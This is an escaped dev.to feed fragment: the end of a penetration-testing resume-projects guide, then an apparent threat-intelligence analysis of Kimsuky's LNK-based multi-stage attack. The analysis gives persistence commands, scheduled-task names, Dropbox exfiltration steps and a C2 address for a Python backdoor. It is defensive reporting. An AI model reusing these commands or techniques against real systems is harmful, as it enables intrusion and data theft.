&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What is the full workflow of a commercial penetration test?
&lt;/li&gt;
&lt;li&gt;How do you communicate security risks to a non‑technical client?
&lt;/li&gt;
&lt;li&gt;How do you handle a client that refuses to fix a reported vulnerability?&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Part III: Expert‑Level Projects (6 Projects)
&lt;/h2&gt;

&lt;p&gt;For professionals with &lt;strong&gt;3+ years of experience&lt;/strong&gt;, these projects help you target &lt;strong&gt;high‑salary, specialist, and management positions&lt;/strong&gt; at major firms, demonstrating industry influence and a strategic mindset.&lt;/p&gt;

&lt;h3&gt;
  
  
  15. National / Provincial “Cyber Hunt” Network Attack and Defense Drill Project/Exercise
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Serve as a &lt;strong&gt;core red‑team member&lt;/strong&gt; in national‑ or provincial‑level  large‑scale red‑vs‑blue exercises (e.g., industry‑wide or national‑level capture‑the‑flag events). Lead a subgroup to breach target organisations, report attack outcomes, perform kill‑chain retrospectives, and deliver comprehensive reports.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Cyber attack and defense experience is the “golden ticket” of the cybersecurity community. Engineers with top‑tier red‑team backgrounds often see their salaries &lt;strong&gt;double&lt;/strong&gt;; it is a door‑opener for &lt;strong&gt;T‑level&lt;/strong&gt; roles at tech giants. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Served as a core red‑team member in a national/provincial exercise, leading a team to achieve target breakthroughs. Obtained **15+ critical system authorisations&lt;/em&gt;&lt;em&gt;, submitted **30+ effective attack results&lt;/em&gt;&lt;em&gt;, and ranked within the **top 5&lt;/em&gt;* in the province. Delivered the complete attack chain report and enterprise defence optimisation plan.”*&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which part of the network attack and defense drill project did you lead?
&lt;/li&gt;
&lt;li&gt;What was the strongest defence system you faced and how did you overcome it?
&lt;/li&gt;
&lt;li&gt;Narrate a classic attack case from your experience.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  16. Enterprise Security Architecture Construction Project
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
From an &lt;strong&gt;attacker’s perspective&lt;/strong&gt;, design and implement a holistic security protection system for a large enterprise, covering &lt;strong&gt;perimeter defence, internal network security, endpoint security, data security, and incident response&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhqdr928ooa34rxfld0vu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhqdr928ooa34rxfld0vu.png" alt=" " width="800" height="607"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Demonstrates your &lt;strong&gt;big‑picture view&lt;/strong&gt;, transforming you from “just a hacker” into a &lt;strong&gt;“security expert who understands business and can execute”&lt;/strong&gt; – the core project for targeting &lt;strong&gt;security management&lt;/strong&gt; or &lt;strong&gt;head of security&lt;/strong&gt; roles. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“As the security expert, led the enterprise security architecture construction project. Performed a full‑spectrum risk assessment from an attacker’s viewpoint, designed and deployed a complete stack including perimeter firewalls, WAF, EDR, SOC, and data leakage prevention. Established a 24/7 incident response mechanism, raising the high‑risk vulnerability remediation rate to **99%&lt;/em&gt;* and reducing incident response time by &lt;strong&gt;80%&lt;/strong&gt;.”*&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What is the core philosophy behind enterprise security architecture building?
&lt;/li&gt;
&lt;li&gt;How do you balance security requirements with business operations?
&lt;/li&gt;
&lt;li&gt;How do you drive the adoption of security solutions within an organisation?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  17. APT Attack Simulation and Attribution Analysis
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Replicate the tactics of known &lt;strong&gt;APT groups&lt;/strong&gt;, simulate a complete &lt;strong&gt;APT kill chain&lt;/strong&gt;, perform &lt;strong&gt;malware reverse engineering&lt;/strong&gt;, &lt;strong&gt;C2 communication protocol analysis&lt;/strong&gt;, and &lt;strong&gt;attack‑path attribution&lt;/strong&gt;, ultimately producing an &lt;strong&gt;adversary profile&lt;/strong&gt; and tailored &lt;strong&gt;defence strategies&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Showcases top‑tier offensive and defensive research skills – the key project for roles in &lt;strong&gt;threat intelligence&lt;/strong&gt; and &lt;strong&gt;security research&lt;/strong&gt; at leading companies. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Independently reproduced the TTPs of major APT groups, reconstructed the full attack chain aligned with ATT&amp;amp;CK, performed malware reverse engineering and C2 protocol dissection, conducted attack‑chain attribution, and published the APT group profile along with enterprise‑grade defence recommendations in a **top domestic security community&lt;/em&gt;&lt;em&gt;.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What are the hallmark techniques of the APT groups you have studied?
&lt;/li&gt;
&lt;li&gt;Describe your complete malware analysis workflow.
&lt;/li&gt;
&lt;li&gt;How do you attribute and track an APT attack?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  18. Penetration Testing Weaponisation Tool Development
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Independently design and develop an &lt;strong&gt;enterprise‑grade penetration testing toolset&lt;/strong&gt; covering all phases: reconnaissance, vulnerability scanning, internal network penetration, evasion, and persistence. Open‑source the tools and promote them within the industry.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Top penetration engineers build their own infrastructure. The ability to develop your own tools is the most direct proof of technical depth and the key to industry influence. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Designed and built an enterprise penetration testing toolset that covers information gathering, vulnerability scanning, and internal network exploitation, solving key pain points of existing tools. The toolset has been used over **100,000&lt;/em&gt;* times, with the open‑source project garnering over &lt;strong&gt;2,000 GitHub stars&lt;/strong&gt;, improving penetration testing efficiency by &lt;strong&gt;300%&lt;/strong&gt;.”*&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What is the core architecture of your tool?
&lt;/li&gt;
&lt;li&gt;What industry pain point does it solve?
&lt;/li&gt;
&lt;li&gt;What technology stack did you use, and what are your future optimisation plans?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  19. Data Security and Privacy Compliance Penetration Test
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Based on the requirements of the &lt;strong&gt;Data Security Law&lt;/strong&gt; and &lt;strong&gt;Personal Information Protection Law (PIPL)&lt;/strong&gt;, conduct a full data‑lifecycle security assessment and penetration test for a large enterprise. Identify compliance risks, propose remediation measures, and help the enterprise pass compliance audits.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Data compliance is an urgent need for today’s enterprises. Penetration testers who are proficient in data security and regulations are rare and command a significant salary premium. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“As project lead, successfully delivered a data security compliance penetration test for a large enterprise. In accordance with the applicable local laws and regulations (e.g., data protection, privacy, and cybersecurity laws), performed lifecycle risk assessment, discovering **over 30 compliance risks&lt;/em&gt;* including plaintext data storage, unauthorised data access, and excessive personal information collection. Provided a complete remediation plan that enabled the client to pass &lt;strong&gt;enabled the client to pass a high‑level compliance audit&lt;/strong&gt; and data security compliance audits.”*&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What is the core approach for a data security penetration test?
&lt;/li&gt;
&lt;li&gt;What are the key requirements of the PIPL regarding personal information processing?
&lt;/li&gt;
&lt;li&gt;How do you assess an enterprise’s data leakage risk?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  20. Security Research and Industry Influence Building
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Dedicate long‑term effort to penetration testing and cybersecurity research. Publish original technical articles on platforms like &lt;strong&gt;Medium&lt;/strong&gt;, &lt;strong&gt;Dev.to&lt;/strong&gt;, &lt;strong&gt;Github&lt;/strong&gt;, &lt;strong&gt;SANS ISC&lt;/strong&gt;; open‑source security tools; apply for &lt;strong&gt;CVE&lt;/strong&gt; identifiers; and accept invitations to speak at security conferences.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
This is a defining trait of a &lt;strong&gt;senior security expert&lt;/strong&gt;, demonstrating industry influence and continuous research capability – an essential booster for top‑level positions in large organisations. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Long‑term engagement in penetration testing and security research: published over **50 original articles&lt;/em&gt;* in top domestic communities with cumulative reads exceeding &lt;strong&gt;1 million&lt;/strong&gt;; open‑source security projects have accumulated &lt;strong&gt;1,000+ GitHub stars&lt;/strong&gt;; obtained &lt;strong&gt;10+ CVE/CNVD identifiers&lt;/strong&gt;; and delivered technical talks at industry conferences, earning broad recognition.”*&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What is your most impactful research contribution?
&lt;/li&gt;
&lt;li&gt;What are your views on the future evolution of penetration testing?
&lt;/li&gt;
&lt;li&gt;What are your upcoming research directions?&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;The field of penetration testing is not about how many knowledge points you have memorised or how many tools you can name. It is about who can &lt;strong&gt;solve real problems&lt;/strong&gt; and who possesses &lt;strong&gt;complete, hands‑on, closed‑loop capability&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Every project entry on your resume is a piece of evidence of your ability, not filler text. Rather than listing ten items that merely say “familiar with …,” focus deeply on one project and make it thorough, detailed, and comprehensive.&lt;/p&gt;

&lt;p&gt;The twenty projects presented above offer a path for everyone, whether you are a newcomer just entering the field or an experienced practitioner. Put them into practice, and your resume may very well become one that interviewers eagerly reach for.&lt;/p&gt;




&lt;h2&gt;
  
  
  Disclaimer
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;The programs and techniques described in this article are intended solely for legal and authorised security research and educational purposes, aimed at enhancing network defence capabilities. Any individual or organisation that uses the content for unauthorised attacks or illegal activities shall bear full legal liability and compensation; the author and publisher assume no joint liability.&lt;/em&gt;&lt;/p&gt;




</description>
      <category>career</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>pentest</category>
    </item>
    <item>
      <title>Kimsuky Deploys Malicious LNK Files to Implant Python-Based Backdoor in Multi-Stage Attack</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Mon, 13 Apr 2026 17:43:19 +0000</pubDate>
      <link>https://dev.to/excalibra/kimsuky-deploys-malicious-lnk-files-to-implant-python-based-backdoor-in-multi-stage-attack-1521</link>
      <guid>https://dev.to/excalibra/kimsuky-deploys-malicious-lnk-files-to-implant-python-based-backdoor-in-multi-stage-attack-1521</guid>
      <description>&lt;p&gt;&lt;strong&gt;Notable Changes Observed in Malicious LNK Files Distributed by Kimsuky Group&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Article Summary:&lt;/strong&gt; The North Korean Kimsuky hacker group recently used malicious LNK files disguised as HWP documents to launch multi-stage attacks. They extended the attack chain by adding intermediate stages such as XML, VBS, and PS1 files to evade detection. The attack creates hidden folders, registers scheduled tasks for persistence, and finally deploys a Python backdoor that supports remote command execution, file theft, and other capabilities. Data is exfiltrated through Dropbox to blend in with normal traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Categories:&lt;/strong&gt; Malware, Threat Intelligence, Incident Response, Vulnerability Analysis, Red Team&lt;/p&gt;




&lt;p&gt;Recently, a clear evolution has been detected in the malicious LNK files being distributed by the &lt;strong&gt;Kimsuky&lt;/strong&gt; group. While the overall flow leading to the execution of a Python-based backdoor or downloader remains similar to previous campaigns, the actual execution process now employs a significantly more complex multi-layered structure. The group is also abusing legitimate cloud services and attempting to evade detection through Python-based malware. Because these files are difficult to identify by appearance alone, user vigilance has become even more critical. In this article, we examine the changed delivery method, key characteristics, and the full attack flow.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpqfc3mksre1lmunjgrdc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpqfc3mksre1lmunjgrdc.png" alt="Table 1" width="800" height="535"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 1] Comparison of Past and Recent Delivery Methods&lt;/em&gt;&lt;/p&gt;



&lt;h2&gt;
  
  
  1. Past LNK Delivery Method
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1-1. Initial Execution
&lt;/h3&gt;

&lt;p&gt;Previous LNK files operated by executing a PowerShell script that downloaded a BAT file from an external URL.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;URL: &lt;code&gt;hxxps://qugesr[.]online/m/bDw&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy96ysrnm02z2bbxdv96t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy96ysrnm02z2bbxdv96t.png" alt="Figure 1" width="602" height="477"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 1] Malicious BAT Script File&lt;/em&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  1-2. Intermediate Stage
&lt;/h3&gt;

&lt;p&gt;The downloaded BAT file further downloads additional ZIP files and decoy files. It then downloads split ZIP fragments individually, merges them into a single archive, and extracts it. The resulting archive contains a Python script, Python interpreter, and an XML scheduled task file (&lt;code&gt;sch.db&lt;/code&gt;). Based on the XML file, a scheduled task named &lt;strong&gt;Microsoft_Upgrade{10-9903-09-821392134}&lt;/strong&gt; is registered. The Python script is then executed via the task scheduler, ultimately leading to the download and execution of the Python-based backdoor.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3tzu2x7ko202nfklhpz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3tzu2x7ko202nfklhpz.png" alt="Table 2" width="800" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 2] Additional File Downloads&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgsdgez5pf0aq1bv0t47d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgsdgez5pf0aq1bv0t47d.png" alt="Figure 2" width="539" height="797"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 2] Legitimate Decoy File&lt;/em&gt;&lt;/p&gt;



&lt;h2&gt;
  
  
  2. Recent LNK Delivery Method
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2-1. Initial Execution
&lt;/h3&gt;

&lt;p&gt;The recently distributed LNK files — “Resume (Park Seong-min).hwp.lnk” and “Guidelines for Establishing Data Backup and Recovery Procedures (Reference).lnk” — execute a PowerShell script just like previous versions. They create a folder at &lt;code&gt;C:\windirr&lt;/code&gt; with hidden and system attributes. This is presumed to be an anti-forensic measure to prevent the path from appearing in normal user file exploration. The LNK then drops and executes the files it contains into this folder. Among them is a legitimate decoy file, and an HWP document using the exact same filename as the LNK is created to fool the victim.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6uktk7gel70nctvvcrk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6uktk7gel70nctvvcrk.png" alt="Figure 3" width="800" height="489"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 3] Legitimate Decoy File&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flsc12nvyq4dlq0tye982.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flsc12nvyq4dlq0tye982.png" alt="Table 3" width="800" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 3] File Functions&lt;/em&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  2-2. Intermediate Stage
&lt;/h3&gt;

&lt;p&gt;A scheduled task is created based on an XML file. The task name is set to &lt;strong&gt;GoogleUpdateTaskMachineCGI__{56C6A980-91A1-4DB2-9812-5158E7E97388}&lt;/strong&gt;. Inside the XML, a task is defined that repeatedly runs the command &lt;code&gt;wscript.exe /b "C:\windirr\11.vbs"&lt;/code&gt; every 17 minutes starting from 2025-08-26 15:17. When the VBS file executes via the scheduler, it launches &lt;code&gt;C:\windirr\pp.ps1&lt;/code&gt;.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6b7fst77kxvaicnxpuo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6b7fst77kxvaicnxpuo.png" alt="Figure 4" width="800" height="203"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 4] Registered Scheduled Task&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;The &lt;code&gt;pp.ps1&lt;/code&gt; script creates &lt;code&gt;C:\Users\Public\Documents\tmp.ini&lt;/code&gt; and saves the information listed in [Table 4] into it. The attackers are using Dropbox as a C2 channel for data exfiltration. Stolen data is uploaded with filenames in the format &lt;code&gt;&amp;lt;userdomain&amp;gt;_&amp;lt;date&amp;gt;_info.ini&lt;/code&gt;. Additionally, the file &lt;code&gt;zzz09_test.db_sent&lt;/code&gt; from the attacker’s Dropbox is downloaded and saved as &lt;code&gt;C:\Users\Public\Music\hh.bat&lt;/code&gt;, then executed with &lt;code&gt;cmd.exe /c C:\Users\Public\Music\hh.bat&lt;/code&gt;.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn9zqexldc38xz5qjviwb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn9zqexldc38xz5qjviwb.png" alt="Table 4" width="800" height="142"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 4] Exfiltrated Information&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnlewoy4yzcvd7zvhrwkw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnlewoy4yzcvd7zvhrwkw.png" alt="Figure 5" width="800" height="433"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 5] Partial Code from pp.ps1&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;The &lt;code&gt;hh.bat&lt;/code&gt; file downloads two split ZIP fragments from the URLs below, merges them into a single ZIP at &lt;code&gt;%TEMP%\G9081234.zip&lt;/code&gt;, and extracts it to &lt;code&gt;C:\winii&lt;/code&gt;. Inside the archive are an XML scheduled task file (&lt;code&gt;norton.db&lt;/code&gt;) and the Python backdoor (&lt;code&gt;beauty.py&lt;/code&gt;).&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F907u7xyfqxmd45nb2cq3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F907u7xyfqxmd45nb2cq3.png" alt="Table 5" width="800" height="226"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 5] Additional File Downloads&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhpclecvqe35y3hfz6928.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhpclecvqe35y3hfz6928.png" alt="Figure 6" width="800" height="433"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 6] Partial Code from hh.bat&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;The final Python backdoor is executed through the XML scheduled task. The &lt;code&gt;hh.bat&lt;/code&gt; registers a new task named &lt;strong&gt;GoogleExtension{02-2032121-098}&lt;/strong&gt; to run &lt;code&gt;C:\winii\beauty.py&lt;/code&gt;.&lt;/p&gt;



&lt;h2&gt;
  
  
  3. Python Malware
&lt;/h2&gt;

&lt;p&gt;Two types of Python-based malicious code were identified: a downloader that fetches additional payloads from an external server, and a backdoor that remotely executes attacker commands.&lt;/p&gt;

&lt;h3&gt;
  
  
  3-1. Backdoor
&lt;/h3&gt;

&lt;p&gt;The backdoor sends a packet containing the string “&lt;strong&gt;HAPPY&lt;/strong&gt;” to the C2 server at &lt;code&gt;45.95.186[.]232:8080&lt;/code&gt; to signal successful infection. It then communicates using a custom protocol with fixed 4096-byte packets starting with magic bytes &lt;code&gt;0x99 0x0A 0xBD 0x99&lt;/code&gt;. Depending on the command code, it performs the following functions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shell command execution&lt;/li&gt;
&lt;li&gt;Drive list enumeration&lt;/li&gt;
&lt;li&gt;File upload and download&lt;/li&gt;
&lt;li&gt;File deletion (with random data overwrite before deletion) and execution (.exe, .bat, .vbs)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;During analysis, actions such as collecting drive information, network configuration (via ipconfig), and running processes (via tasklist) were observed.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxar30ubnsoyjwmh6j828.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxar30ubnsoyjwmh6j828.png" alt="Figure 7" width="602" height="642"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 7] Function Branching Based on Attacker Commands&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhz14s47eo82uj20nho59.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhz14s47eo82uj20nho59.png" alt="Table 6" width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 6] Functions by Command&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Furpkvff0oqq19p29as62.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Furpkvff0oqq19p29as62.png" alt="Table 7" width="800" height="557"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 7] Commands Sent by Attacker&lt;/em&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  3-2. Downloader
&lt;/h3&gt;

&lt;p&gt;The downloader connects to the attacker-controlled server, saves VBS and BAT files to the &lt;code&gt;%TEMP%&lt;/code&gt; path, and executes them in the background using the &lt;code&gt;CREATE_NO_WINDOW (0x08000000)&lt;/code&gt; flag without showing a console window. After 180 seconds, it deletes both files to erase traces.&lt;/p&gt;



